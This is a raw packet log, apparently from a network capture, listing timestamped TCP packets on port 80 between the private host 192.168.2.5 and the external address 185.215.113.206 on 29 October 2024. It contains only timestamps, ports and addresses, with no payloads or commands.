Oct 29, 2024 06:59:36.190308094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.190320969 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.190350056 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.190563917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.190597057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.190633059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.190645933 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.190661907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.190675020 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.190702915 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.190917969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.190965891 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.191028118 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.191061020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.191080093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.191095114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.191128016 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.191138029 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.191164017 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.191210985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.191256046 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.191826105 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.191879034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.191927910 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.191947937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.191982031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192013979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192047119 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192054033 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.192081928 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192126036 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.192755938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192806959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192833900 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.192841053 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192864895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.192874908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192883968 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.192909002 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192943096 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192946911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.192965984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.192977905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.192986965 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.193022013 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.193578959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.193690062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.193726063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.193747997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.193769932 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.193777084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.193809986 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.193844080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.193857908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.193873882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.193890095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.194011927 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.269510031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.269542933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.269577026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.269588947 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.269610882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.269629955 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.269887924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.306675911 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.306730986 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.306737900 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.306763887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.306798935 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.306798935 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.306818962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.307020903 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.343421936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.343476057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.343512058 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.343542099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.343544960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.343558073 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.343585968 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344078064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344130039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344130039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344165087 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344207048 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344214916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344249964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344281912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344305038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344317913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344352961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344364882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344387054 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344408989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344422102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344428062 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344458103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344494104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344523907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344557047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344571114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344577074 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344610929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344628096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344647884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344681978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344683886 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344706059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344718933 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344733953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344769001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344778061 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344803095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344811916 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344856024 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344875097 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344888926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344890118 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344927073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344932079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.344960928 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.344995975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345002890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345031023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345077038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345601082 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345654011 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345658064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345693111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345725060 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345742941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345763922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345789909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345793009 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345828056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345854044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345860958 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345885038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345896006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345906973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345928907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345938921 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.345963955 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.345969915 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346071005 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346400976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346455097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346465111 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346493006 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346522093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346570969 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346590042 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346622944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346657038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346688032 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346690893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346724987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346726894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346751928 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346757889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346766949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346791029 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346801996 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.346827030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.346920967 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.347327948 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347412109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347465038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.347469091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347520113 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347553968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347585917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347600937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.347621918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347632885 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.347656012 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347688913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347706079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.347723007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347757101 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.347765923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.347801924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.348226070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348259926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348293066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348313093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.348347902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348372936 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.348391056 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.348398924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348432064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348437071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.348464966 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348474026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.348499060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348531961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348537922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.348566055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348601103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.348609924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.348716021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.349152088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.349185944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.349205017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.349220037 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.349236012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.349252939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.349268913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.349304914 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.386409044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.386445045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.386470079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.386478901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.386509895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.386512995 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.386532068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.386548042 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.386553049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.386723042 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.423626900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.423666000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.423688889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.423708916 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.423721075 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.423757076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.423791885 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.423801899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.423847914 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.460263014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.460320950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.460330009 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.460356951 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.460390091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.460392952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.460407972 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.460423946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.460423946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.461291075 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.497313023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.497371912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.497390985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.497406006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.497416019 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.497438908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.497440100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.497473955 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.497503042 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.497558117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.497792006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.497848988 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.497869015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.497936964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.497981071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.497987032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498020887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498075008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498106956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498126030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498143911 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498176098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498212099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498214006 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498214006 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498239040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498246908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498259068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498308897 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498397112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498431921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498483896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498497009 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498517036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498565912 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498565912 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498569012 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498601913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498636961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498651028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498668909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498680115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498703957 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498739004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498775959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498790026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498826981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498845100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498879910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.498925924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.498997927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499115944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499172926 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.499233007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499280930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499336958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.499352932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499406099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499439001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499473095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499492884 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.499505997 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499538898 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499547005 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.499572039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499603033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499629974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.499636889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499680042 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.499686956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499737024 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499769926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499792099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.499803066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499847889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.499854088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499887943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499922037 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499938965 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.499960899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.499993086 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.500005960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.500025034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.500147104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503042936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503076077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503097057 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503108978 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503142118 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503142118 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503149986 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503175974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503251076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503298998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503341913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503349066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503381968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503415108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503448009 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503468990 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503482103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.503494024 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.503515005 CET	80	49888	185.215.113.206	192.168.2.5
